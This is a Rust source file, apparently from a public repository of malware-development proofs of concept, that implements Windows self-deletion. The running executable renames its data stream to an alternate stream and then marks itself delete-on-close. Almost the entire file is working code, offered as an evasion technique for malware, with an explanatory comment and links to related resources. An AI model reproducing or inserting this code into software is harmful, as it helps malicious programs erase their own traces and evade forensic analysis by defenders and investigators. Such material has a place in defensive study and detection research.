Files
Whitecat18 28e7fac1d3 Upload
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
2026-06-06 14:53:10 +05:30

141 lines
4.8 KiB
Rust

/*
Self Deletion Technique
For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
Resources Used:
https://maxkersten.nl/binary-analysis-course/malware-snippets/self-deletion/
https://github.com/joaoviictorti/RustRedOps/blob/main/Self_Deletion/src/main.rs
@5mukx
*/
/*
Explanation:~
* The code creates an alternate data stream, which isn't visible in typical file listings, and uses this to manipulate the file in a way that allows for self-deletion.
* By renaming the file's alternate data stream, it essentially prepares the file for an operation that can be performed on itself without directly needing admin permissions for file deletion.
* The actual deletion occurs when the file handle is closed after marking the file for deletion, which is a Windows feature where marking a file for deletion and then closing the last handle to it results in the file being deleted.
*/
use std::ffi::OsString;
use std::os::windows::ffi::OsStrExt;
use std::ptr::null_mut;
use winapi::ctypes::c_void;
use winapi::um::fileapi::{CreateFileW, SetFileInformationByHandle, FILE_RENAME_INFO};
use winapi::um::handleapi::CloseHandle;
use winapi::um::heapapi::HeapFree;
use winapi::um::minwinbase::{FileDispositionInfo, FileRenameInfo};
use winapi::um::winbase::FILE_FLAG_DELETE_ON_CLOSE;
use winapi::um::winnt::{FILE_ATTRIBUTE_NORMAL, HEAP_ZERO_MEMORY};
use winapi::um::{fileapi::FILE_DISPOSITION_INFO, heapapi::{GetProcessHeap, HeapAlloc}};
// macro_rules! okey {
// ($msg:expr, $($arg:expr), *) => {
// println!("[+] {}",format!($msg, $($arg), *));
// }
// }
// macro_rules! error {
// ($msg:expr, $($arg:expr), *) => {
// println!("[!] {}",format!($msg, $($arg), *));
// println!("Exiting ...");
// std::process::exit(1);
// };
// }
fn main(){
// This stream name is for alternate stream.
let stream = ":test_stream";
let stream_wide: Vec<u16> = OsString::from(stream).encode_wide().chain(std::iter::once(0)).collect();
unsafe{
let mut delete_file = FILE_DISPOSITION_INFO{
DeleteFile: 1 // default value is 1
};
let rename_info_size = std::mem::size_of::<FILE_RENAME_INFO>() + (stream_wide.len() * std::mem::size_of::<u16>());
// allocate memory for FILE_RENAME_INFO
let rename_info = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, rename_info_size) as *mut FILE_RENAME_INFO;
if rename_info.is_null() {
panic!("Memory allocation failed");
}
delete_file.DeleteFile = 1;
(*rename_info).FileNameLength = (stream_wide.len() * std::mem::size_of::<u16>()) as u32 - 2;
std::ptr::copy_nonoverlapping(
stream_wide.as_ptr(),
(*rename_info).FileName.as_mut_ptr(),
stream_wide.len(),
);
let path = std::env::current_exe().unwrap();
let mut full_path: Vec<u16> = OsString::from(path).encode_wide().collect();
full_path.push(0);
// Open the file with delete and synchronize permissions
let handle = CreateFileW(
full_path.as_ptr(),
0x00010000 | 0x00100000,
0x00000001,
core::ptr::null_mut(),
3, // OPEN_EXISTING
0 as u32, // FILE_ATTRIBUTE_NORMAL
null_mut(),
);
if handle.is_null() {
panic!("Failed to open file");
}
// rename the alternate data stream
let setfileinfohandle = SetFileInformationByHandle(
handle,
FileRenameInfo,
rename_info as *mut c_void,
rename_info_size as u32
);
if setfileinfohandle == 0 {
panic!("Failed to set file information for rename");
}
CloseHandle(handle);
// Re-open the file with delete on close flag
let handle = CreateFileW(
full_path.as_ptr(),
0x00010000 | 0x40000000 | 0x00100000,
0x00000001,
std::ptr::null_mut(),
3,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE,
null_mut(),
);
if handle == null_mut() {
panic!("Failed to re-open file for deletion");
}
// Mark the file for deletion
let setfileinfo = SetFileInformationByHandle(
handle,
FileDispositionInfo,
&delete_file as *const FILE_DISPOSITION_INFO as *mut c_void,
std::mem::size_of::<FILE_DISPOSITION_INFO>() as u32
);
if setfileinfo == 0 {
panic!("Failed to mark file for deletion");
}
CloseHandle(handle); // This will delete the file
// free the allocated memory
HeapFree(
GetProcessHeap(),
0,
rename_info as *mut c_void,
);
}
}